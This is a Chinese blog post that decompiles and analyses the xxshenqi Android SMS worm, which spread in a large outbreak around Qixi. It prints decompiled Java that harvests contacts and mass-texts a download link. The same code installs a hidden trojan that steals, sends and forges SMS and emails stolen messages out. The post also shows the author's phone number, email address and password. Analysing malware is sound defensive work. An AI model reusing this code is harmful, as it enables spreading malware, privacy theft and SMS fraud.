背景

今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。

反编译

由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。

前期准备:

1.解压软件    (解压apk,获得classes.dex)

2.dex2jar    (将apk的classes.dex转化为jar文件)

3.jd-gui    (反编译工具,直接查看jar包的源代码)

4.xxshenqi.apk    (样本)

步骤:

1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包

2.将这个classes.dex文件复制到dex2jar.bat同一目录下

3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex

4.得到一个classes_dex2jar.jar文件

5.用jd-gui.exe打开这个jar文件,就可以看到源代码了

6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码

代码分析

包名:com.example.xxshenqi

|->点击登陆按钮->永远无法登陆成功

程序运行的步骤是:WelcomeActivity->MainActivity{

|->点击注册按钮->RegisterActivity

WelcomeActivity

首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:

1.读取联系人信息,包括联系人姓名和联系人手机号码

2.向所有联系人群发一条短信

3.群发完成后向作者发送一条完成短信

接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:

  1. private void ReadCONTACTS(Context paramContext)
  2. {
  3. this.contactArray = new ArrayList();
  4. this.context = paramContext;
  5. this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
  6. new Thread()
  7. {
  8. public void run()
  9. {
  10. if (!WelcomeActivity.this.cursor.moveToNext())
  11. {
  12. if (WelcomeActivity.this.counts != 99) {}
  13. }
  14. else
  15. {
  16. String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
  17. WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
  18. Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
  19. ArrayList localArrayList = new ArrayList();
  20. localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
  21. for (;;)
  22. {
  23. if (!localCursor.moveToNext()) {}
  24. for (;;)
  25. {
  26. localCursor.close();
  27. WelcomeActivity.this.contactArray.add(localArrayList);
  28. break;
  29. WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
  30. WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
  31. WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
  32. try
  33. {
  34. if (WelcomeActivity.this.phoneString.length() == 11)
  35. {
  36. sleep(20L);
  37. if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
  38. sleep(5000L);
  39. }
  40. if (WelcomeActivity.this.counts == 99) {
  41. continue;
  42. }
  43. SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
  44. WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
  45. localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
  46. System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
  47. }
  48. }
  49. catch (Exception localException)
  50. {
  51. for (;;)
  52. {
  53. localException.toString();
  54. }
  55. }
  56. }
  57. localArrayList.add(WelcomeActivity.this.phoneString);
  58. }
  59. }
  60. SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
  61. WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
  62. localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
  63. System.out.println("===========================");
  64. System.out.println("test---->群发OK");
  65. System.out.println("============================");
  66. }
  67. }.start();
  68. }

可以看到以下几条关键代码:

this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

读取通讯录

WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

获得联系人姓名

 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

获得联系人手机号码

在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。

SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。

SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);

最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。

MainActivity

在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:

1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装

2.安装成功后会发一条信息给作者,表示用户已经中了木马

3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册

检测和安装Trogoogle

  1. 1 if (!detectApk("com.example.com.android.trogoogle"))
  2. {
  3. System.out.println("host开始安装==============================");
  4. String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
  5. retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
  6. showInstallConfirmDialog(this, str);
  7. }</span>
  8.  
  9. <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
  10. {
  11. try
  12. {
  13. File localFile = new File(paramString2);
  14. if (localFile.exists()) {
  15. return true;
  16. }
  17. localFile.createNewFile();
  18. InputStream localInputStream = paramContext.getAssets().open(paramString1);
  19. FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
  20. byte[] arrayOfByte = new byte[1024];
  21. boolean bool;
  22. for (;;)
  23. {
  24. int i = localInputStream.read(arrayOfByte);
  25. if (i == -1)
  26. {
  27. localFileOutputStream.flush();
  28. localFileOutputStream.close();
  29. localInputStream.close();
  30. bool = true;
  31. break;
  32. }
  33. localFileOutputStream.write(arrayOfByte, 0, i);
  34. }
  35. AlertDialog.Builder localBuilder;
  36. return bool;
  37. }
  38. catch (IOException localIOException)
  39. {
  40. Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
  41. localBuilder = new AlertDialog.Builder(paramContext);
  42. localBuilder.setMessage(localIOException.getMessage());
  43. localBuilder.show();
  44. localIOException.printStackTrace();
  45. bool = false;
  46. }
  47. }
  48.  
  49. public void showInstallConfirmDialog(final Context paramContext, final String paramString)
  50. {
  51. AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
  52. localBuilder.setIcon(2130837592);
  53. localBuilder.setTitle("未安装资源包");
  54. localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
  55. localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
  56. {
  57. public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
  58. {
  59. try
  60. {
  61. String str = "chmod 777 " + paramString;
  62. Runtime.getRuntime().exec(str);
  63. Intent localIntent = new Intent("android.intent.action.VIEW");
  64. localIntent.addFlags(268435456);
  65. localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
  66. paramContext.startActivity(localIntent);
  67. return;
  68. }
  69. catch (IOException localIOException)
  70. {
  71. for (;;)
  72. {
  73. localIOException.printStackTrace();
  74. }
  75. }
  76. }
  77. });
  78. localBuilder.show();
  79. }

登陆

  1. public void onClick(View paramAnonymousView)
  2. {
  3. if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
  4. {
  5. String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
  6. MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
  7. MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
  8. return;
  9. }
  10. if (!MainActivity.this.goToNetWork())
  11. {
  12. Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
  13. return;
  14. }
  15. if (MainActivity.this.pass.getText().toString().length() >= 6)
  16. {
  17. Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
  18. Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
  19. return;
  20. }
  21. Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
  22. }

RegisterActivity

  1. public void onClick(View paramAnonymousView)
  2. {
  3. String str = RegisterActivity.this.idEditText.getText().toString();
  4. if (str.length() != 18)
  5. {
  6. Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
  7. return;
  8. }
  9. int i = Integer.parseInt(str.substring(6, 10));
  10. int j = Integer.parseInt(str.substring(10, 12));
  11. int k = Integer.parseInt(str.substring(12, 14));
  12. if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
  13. {
  14. Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
  15. return;
  16. }
  17. if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
  18. {
  19. Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
  20. return;
  21. }
  22. SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
  23. Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
  24. RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
  25. }

这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。

分析完掩人耳目的外壳,现在来看里面的木马程序

包名:example.com.android.trogoogle

MainActivity

在这个入口程序中,主要的功能是实现隐藏图标。

  1. protected void onCreate(Bundle paramBundle)
  2. {
  3. super.onCreate(paramBundle);
  4. requestWindowFeature(1);
  5. setContentView(2130903063);
  6. getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
  7. System.out.println("APP图标隐藏成功==============================");
  8. Intent localIntent = new Intent();
  9. localIntent.setClass(this, ListenMessageService.class);
  10. startService(localIntent);
  11. System.out.println(" startService成功==============================");
  12. System.out.println("--------->>>finish()");
  13. finish();
  14. }

ListenMessageService

这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。

BroadcastRecvMessage

RECV有几种指令,包括

readmessage指令就会读取所有短信并且发送到作者的邮箱中;

sendmessage指令就会发送指定的内容到指定的号码;

makemessage指令伪造短信

  1. if (!str5.equals("readmessage")) {
  2. break label188;
  3. }
  4. System.out.println("木马收到发送邮件命令==============================");
  5. String str10 = ReadAllMessage(paramContext);
  6. Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
  7. localIntent4.putExtra("String", str10);
  8. paramContext.startService(localIntent4);
  9. abortBroadcast();
  10. continue;
  11. if (!str5.equals("sendmessage")) {
  12. break label188;
  13. }
  14. System.out.println("木马收到发送短信命令==============================");
  15. int n = str2.lastIndexOf('/');
  16. String str8 = str2.substring(k + 1, n);
  17. String str9 = str2.substring(n + 1, str2.length());
  18. SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
  19. System.out.println("木马发送短信成功================================");
  1. if (!str5.equals("makemessage")) {
  2. break label188;
  3. }
  4. System.out.println("木马收到伪造短信命令==============================");
  5. int m = str2.lastIndexOf('/');
  6. String str6 = str2.substring(k + 1, m);
  7. String str7 = str2.substring(m + 1, str2.length());
  8. Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
  9. localIntent3.putExtra("address", str6);
  10. localIntent3.putExtra("body", str7);
  11. paramContext.startService(localIntent3);

同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)

  1. System.out.println("木马觉得淘宝信息==============================");
  2. str4 = "【特殊消息】" + str2;
  3. if (str4.length() > 60)
  4. {
  5. localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
  6. localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
  7. }
  1. System.out.println("木马觉得是普通信息==============================");
  2. localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

MySendEmailService

这里作者暴露了他的个人邮箱和口令

  1. protected void onHandleIntent(Intent paramIntent)
  2. {
  3. System.out.println("木马进入MySendEmailService==============================");
  4. String str = paramIntent.getStringExtra("String");
  5. System.out.println("木马开始发送邮件============================");
  6. MailSenderInfo localMailSenderInfo = new MailSenderInfo();
  7. localMailSenderInfo.setMailServerHost("smtp.qq.com");
  8. localMailSenderInfo.setMailServerPort("25");
  9. localMailSenderInfo.setValidate(true);
  10. localMailSenderInfo.setUserName("a137736513@qq.com");
  11. localMailSenderInfo.setPassword("lishulili.");
  12. localMailSenderInfo.setFromAddress("a137736513@qq.com");
  13. localMailSenderInfo.setToAddress("137736513@qq.com");
  14. localMailSenderInfo.setSubject("信息");
  15. localMailSenderInfo.setContent(str);
  16. new SimpleMailSender().sendTextMail(localMailSenderInfo);
  17. SimpleMailSender.sendHtmlMail(localMailSenderInfo);
  18. System.out.println("木马完成发送邮件=============================");
  19. System.out.println("木马离开MySendEmailService=============================");
  20. System.out.println("木马killProcess==============================");
  21. Process.killProcess(Process.myPid());
  22. }

当然,现在口令已经被改了。

总结

据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。

虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。

后记

这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。

参考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html

xxshenqi分析报告的更多相关文章

  1. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  2. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  3. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

  4. M1事后分析报告(Postmortem Report)

    M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...

  5. websphere OSGi应用环境下服务调用saaj包加载问题分析报告

    websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...

  6. Google发布SSLv3漏洞简要分析报告

    今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...

  7. 推荐一个利用 python 生成 pptx 分析报告的工具包:reportgen

    reportgen v0.1.8 更新介绍 这段时间,我对 reportgen 进行了大工程量的修改和更新.将之前在各个文章中出现的函数进行了封装,同时也对现有工具包的一些逻辑进行了调整. 1.rep ...

  8. python 生成 pptx 分析报告的工具包:reportgen

    python机器学习-sklearn挖掘乳腺癌细胞( 博主亲自录制) 网易云观看地址 https://study.163.com/course/introduction.htm?courseId=10 ...

  9. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

随机推荐

  1. 跟哥一起学python(2)- 运行第一个python程序&环境搭建

    本节的任务,是完成我们的第一个python程序,并搭建好学习python的环境.  建议通过视频来学习本节内容: 查看本节视频 再次看看上一节提到的那张图,看看作为高级编程语言,我们如何编程. 首先, ...

  2. ELK+kafka日志收集分析系统

    环境: 服务器IP 软件 版本 192.168.0.156 zookeeper+kafka zk:3.4.14  kafka:2.11-2.2.0 192.168.0.42 zookeeper+kaf ...

  3. DataHub——实时数据治理平台

    DataHub 首先,阿里云也有一款名为DataHub的产品,是一个流式处理平台,本文所述DataHub与其无关. 数据治理是大佬们最近谈的一个火热的话题.不管国家层面,还是企业层面现在对这个问题是越 ...

  4. 封锁阳光大学(染色)P1330

    题目:https://www.luogu.com.cn/problem/P1330 阳光大学的校园是一张由 n 个点构成的无向图,n 个点之间由 m 条道路连接.每只河蟹可以对一个点进行封锁,当某个点 ...

  5. for do-while while区别

    分别用for  do-while while求1-100的和

  6. qt creator源码全方面分析(4-5)

    目录 Qt中的字符串 QLatinString 详细介绍 源码 小结 QStringLiteral(str) 详细介绍 源码 小结 Qt中的字符串 Qt中处理字符串最常用的肯定是QString,但是在 ...

  7. 【Spark】Spark任务调度相关知识

    文章目录 准备知识 DAG 概述 shuffle 概述 SortShuffleManager 普通机制 bypass机制 Spark任务调度 流程 准备知识 要弄清楚Spark的任务调度流程,就必须要 ...

  8. 使用jquery实现的自适应导航

    话不多说,直接晒代码 <div class="headering"> <div class="header-top"> <div ...

  9. 关于redis内存分析,内存优化

    对于redis来说,什么是最重要的? 毋庸置疑,是内存. 一.reids 内存分析 redis内存使用情况:info memory 示例: 可以看到,当前节点内存碎片率为226893824/20952 ...

  10. 关于SpringBoot的外部化配置使用记录

    关于SpringBoot的外部化配置使用记录 声明: 若有任何纰漏.错误请不吝指出! 记录下使用SpringBoot配置时遇到的一些麻烦,虽然这种麻烦是因为知识匮乏导致的. 记录下避免一段时间后自己又 ...